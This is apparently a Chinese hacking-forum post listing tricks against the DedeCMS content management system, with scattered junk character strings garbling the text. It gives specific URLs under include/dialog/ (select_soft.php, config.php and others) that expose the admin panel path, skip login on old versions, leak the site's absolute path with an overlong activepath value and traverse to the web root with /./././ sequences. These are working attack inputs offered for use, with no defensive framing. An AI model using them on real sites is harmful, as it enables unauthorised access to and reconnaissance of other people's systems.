dedecms爆后台文件技巧

admin

1.include/dialog/select_soft.php文件可以爆出DEDECMS的后台,以前的老板本可以跳过登陆验证直接访问,无需管理
! q7 a% Q; Q. o( n& C' R
0 b1 v4 a7 I& Y: f/ z员帐号,新版本的就直接转向了后台.
6 ]2 s% i, Y3 V* p7 |0 p, F$ h  i6 Y( Y! s
! @5 j- G, w4 Y% c1 [2.include/dialog/config.php会爆出后台管理路径
& ]% ^; \2 D$ V! U  F. }. h6 W3 y
3.include/dialog/select_soft.php?activepath=/include/FCKeditor 跳转目录

( g; Y1 \* j: X; h4.include/dialog/select_soft.php?activepath=/st0pst0pst0pst0pst0pst0pst0pst0p 爆出网站绝对路径.

$ c  q1 q4 e9 d/ M( f0 B* {. O- r5.另外一些低版本的DEDECMS访问这个页面的时候会直接跳过登陆验证,直接显示,而且还可以用/././././././././掉
4 }4 i- N8 J- X) j
! R( {- k/ g2 A到根目录去.不过这些版本的访问地址有些不同.
地址为require/dialog/select_soft.php?activepath=/././././././././
  _0 G$ e! K1 \
include\dialog\目录下的另外几个文件都存在同一个问题,只是默认设的目录不同.有些可以查看HTML这些文件哦..
1 M' a, h5 v0 i0 t0 g, b2 d存在相同问题的文件还有
include\dialog\select_images.php
include\dialog\select_media.php
/ f. x5 I8 m! Z' Dinclude\dialog\select_templets.php​